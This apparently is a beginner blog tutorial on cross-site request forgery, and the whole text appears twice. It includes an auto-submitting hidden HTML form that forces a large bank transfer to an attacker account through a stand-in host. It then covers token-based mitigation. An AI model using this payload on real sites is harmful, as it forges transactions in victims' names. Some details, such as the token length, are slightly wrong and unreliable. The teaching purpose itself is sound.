CSRF #1 {request forgery}
Looking around internet it is quite clear that the most general type of web attack is CSRF attacks, CSRF stands for Cross Site Request Forgery (CSRF).
CSRF attacks are mainly actions which when an attacker tricks a victim/user into going to a page controlled by the attacker, then depending on the type of forge site victims enters their data to the target sites as the victim. CSRF attacks specifically target state-changing requests. A successful CSRF attack can force the user/victim to perform state changing requests like transferring funds, changing their email addresses and many more. lucky for attacker if victim has a administrative account then CSRF can compromise the entire web application. Consider OWASP for detailed information.
EXAMPLE:
Bank transfer site is a perfect example.
<form action="/levels/0/" method="POST">
<h2>Transfer Funds</h2>
Destination account: <input type="input" name="to" value=""><br>
Amount: <input type="input" name="amount" value="">
<br>
<br>
<input type="submit" value="Transfer">
</form>
this excerpt of HTML allows a user to transfer money from their account to a destination amount.
<body onload="document.forms[0].submit()">
<form action="http://badbadbad.verybad/levels/0/" method="POST">
<input type="hidden" name="amount" value="1000000">
<input type="hidden" name="to" value="1625">
</form>
</body>
Now, whenever the server gets such a transfer request from the client, now how the server is gonna determine whether this request is made by real site or a fake one, well for this server can use referer header which comes with the requests but most of the time they are absolutely unreliable. so simply when code like this is passed to server then it will transfer money if the user is logged in, here it is a submit form which does what is redirect to vuln site controlled by attacker.
This is the most common request forgery genre used by attackers now a days.
#MITIGATION: means the action of reducing the severity, seriousness. Here in CSRF we want to mitigate this attack considerably as to protect our systems.
we need a way for the server to know for sure (unlike referer header) that the request has originated on its own page. Best and most effective way to do so until now are CSRF tokens, these are random tokens tied to a user's session, which the user embed in each form/proper request user generate.
code excerpt::
<form action="post" method="POST">
what's up legit user?<br>
<textarea cols="40" rows="3" name="status"></textarea><br>
<input type="hidden" name="csrf" value="573adb2b4f7002c6323a45f1d9abc">
<input type="submit">
</form>
Here notice form containing a safe random CSRF token, which is quite random to guess in this case we used 32 nibbles of hex. its a special case we can use any number generating algorithm which does the same thing as to generate random token. Now when the server gets a POST request, it should check to see that the CSRF token is present and matches the token associated with the user's session, if it matched then clearly server can determine for sure that form/request is generated by a legit user.
QUES: Why POST requests are particularly focused in mitigation?
ANS: CSRF attacks are primarily depends on state changing requests, and GET requests should not be changing state whatsoever.
BAD MITIGATION : Many sites do something known as "dynamic CSRF-proof forms", what it does is sites had a csrf.js (javascript file for CSRF) that sends back code roughly equivalent to some variable containing the CSRF token like: $csrf="session CSRF token";
On every page following this technique had <script src="/csrf.js"> and then embed the CSRF token into the forms from there. So all an attacker is need to do is to include the same script tag in his/her own exploit/atack.
Finally in this we covered CSRF attack as our main objective and ways to prevent it under small "MITIGATION" section. This isn't a whole lot of information but is sufficient for prelim ideas about this attack.
CSRF attacks are mainly actions which when an attacker tricks a victim/user into going to a page controlled by the attacker, then depending on the type of forge site victims enters their data to the target sites as the victim. CSRF attacks specifically target state-changing requests. A successful CSRF attack can force the user/victim to perform state changing requests like transferring funds, changing their email addresses and many more. lucky for attacker if victim has a administrative account then CSRF can compromise the entire web application. Consider OWASP for detailed information.
EXAMPLE:
Bank transfer site is a perfect example.
<form action="/levels/0/" method="POST">
<h2>Transfer Funds</h2>
Destination account: <input type="input" name="to" value=""><br>
Amount: <input type="input" name="amount" value="">
<br>
<br>
<input type="submit" value="Transfer">
</form>
this excerpt of HTML allows a user to transfer money from their account to a destination amount.
<body onload="document.forms[0].submit()">
<form action="http://badbadbad.verybad/levels/0/" method="POST">
<input type="hidden" name="amount" value="1000000">
<input type="hidden" name="to" value="1625">
</form>
</body>
Now, whenever the server gets such a transfer request from the client, now how the server is gonna determine whether this request is made by real site or a fake one, well for this server can use referer header which comes with the requests but most of the time they are absolutely unreliable. so simply when code like this is passed to server then it will transfer money if the user is logged in, here it is a submit form which does what is redirect to vuln site controlled by attacker.
This is the most common request forgery genre used by attackers now a days.
#MITIGATION: means the action of reducing the severity, seriousness. Here in CSRF we want to mitigate this attack considerably as to protect our systems.
we need a way for the server to know for sure (unlike referer header) that the request has originated on its own page. Best and most effective way to do so until now are CSRF tokens, these are random tokens tied to a user's session, which the user embed in each form/proper request user generate.
code excerpt::
<form action="post" method="POST">
what's up legit user?<br>
<textarea cols="40" rows="3" name="status"></textarea><br>
<input type="hidden" name="csrf" value="573adb2b4f7002c6323a45f1d9abc">
<input type="submit">
</form>
Here notice form containing a safe random CSRF token, which is quite random to guess in this case we used 32 nibbles of hex. its a special case we can use any number generating algorithm which does the same thing as to generate random token. Now when the server gets a POST request, it should check to see that the CSRF token is present and matches the token associated with the user's session, if it matched then clearly server can determine for sure that form/request is generated by a legit user.
QUES: Why POST requests are particularly focused in mitigation?
ANS: CSRF attacks are primarily depends on state changing requests, and GET requests should not be changing state whatsoever.
BAD MITIGATION : Many sites do something known as "dynamic CSRF-proof forms", what it does is sites had a csrf.js (javascript file for CSRF) that sends back code roughly equivalent to some variable containing the CSRF token like: $csrf="session CSRF token";
On every page following this technique had <script src="/csrf.js"> and then embed the CSRF token into the forms from there. So all an attacker is need to do is to include the same script tag in his/her own exploit/atack.
Finally in this we covered CSRF attack as our main objective and ways to prevent it under small "MITIGATION" section. This isn't a whole lot of information but is sufficient for prelim ideas about this attack.
Comments
Post a Comment